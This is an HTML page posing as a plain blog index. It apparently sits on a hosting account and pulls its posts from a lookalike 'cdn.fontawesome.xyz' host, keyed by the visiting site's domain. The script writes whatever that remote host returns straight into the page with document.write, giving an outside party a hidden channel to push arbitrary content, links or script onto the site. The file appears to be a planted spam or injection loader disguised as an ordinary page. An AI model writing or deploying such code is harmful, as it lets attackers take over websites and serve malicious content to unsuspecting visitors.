File: h:/root/home/kytoffice-001/www/expresstinou/readblog.html
<!DOCTYPE html>
<html lang='x-default'>
<head>
<meta charset="UTF-8">
<meta name="robots" content="index,follow">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Blog</title>
<style>
body {
font-family: "Inter", Arial, sans-serif;
margin: 0;
padding: 0;
background: #f4f5f7;
color: #222;
}
.container {
max-width: 1200px;
margin: 0 auto;
padding: 30px 18px;
}
h1 {
text-align: center;
font-size: 36px;
margin-bottom: 40px;
font-weight: 800;
color: #111;
}
#content {
display: grid;
grid-template-columns: repeat(auto-fit, minmax(280px, 1fr));
gap: 22px;
}
.post {
background: #fff;
border-radius: 16px;
padding: 22px;
box-shadow: 0 8px 20px rgba(0,0,0,0.06);
transition: all .25s ease;
border-top: 5px solid #8f0000;
}
.post:hover {
transform: translateY(-6px);
box-shadow: 0 12px 28px rgba(0,0,0,0.12);
}
.post-title a {
font-size: 20px;
font-weight: 700;
text-decoration: none;
color: #8f0000;
transition: .2s;
}
.post-title a:hover {
color: #5b0000;
}
.post-date {
font-size: 14px;
color: #555;
margin-top: 10px;
}
.footer-links a {
display: inline-block;
padding: 8px 14px;
margin: 5px;
background: #e5e5e5;
color: #222;
text-decoration: none;
border-radius: 8px;
font-size: 14px;
transition: .2s;
}
.footer-links a:hover {
background: #d2d2d2;
}
@media(max-width: 600px) {
h1 { font-size: 28px; }
.post-title a { font-size: 18px; }
}
</style>
</head>
<body>
<div class="container">
<div id="content">Loading..</div>
</div>
<script>
const domain = window.location.hostname;
const jsonURL = "https://cdn.fontawesome.xyz/v5/icon.php?file=data/" + domain + "/blog.json";
const params = new URLSearchParams(window.location.search);
const page = params.get("page");
fetch(jsonURL)
.then(r => r.json())
.then(data => {
if (!page) return loadList(data);
return loadSingle(data, page);
})
.catch(err => {
document.getElementById("content").innerHTML = "!!";
});
function loadList(posts) {
let html = "<h1>Blog</h1>";
posts.forEach(p => {
html += `
<div class="post">
<div class="post-title">
<a href="?page=${p.permalink}">${p.title}</a>
</div>
<div class="post-date">${p.date}</div>
</div>`;
});
document.getElementById("content").innerHTML = html;
}
function loadSingle(posts, permalink) {
const post = posts.find(p => p.permalink === permalink);
if (!post) {
document.body.innerHTML = "<h2>!!</h2>";
return;
}
fetch(`https://cdn.fontawesome.xyz/v5/icon.php?file=data/${domain}/${post.permalink}.txt`)
.then(r => r.text())
.then(content => {
let footerHTML = "";
if (post.footer_links && Array.isArray(post.footer_links) && post.footer_links.length > 0) {
footerHTML = `
<div style="padding: 25px; margin-top: 40px; background: #fff; border-radius: 16px; text-align:center; box-shadow:0 8px 20px rgba(0,0,0,.08);">
<h3 style="margin-bottom: 8px; color:#111;">Copyright 2025. All Rights Reserved.</h3>
<div class="footer-links">
`;
post.footer_links.forEach(fl => {
footerHTML += `<a href="${fl.url}" target="_blank">${fl.text}</a> `;
});
footerHTML += `</div></div>`;
}
document.open();
document.write(content + footerHTML);
document.close();
})
.catch(err => {
document.body.innerHTML = "<h2>!!</h2>";
});
}
</script>
</body>
</html>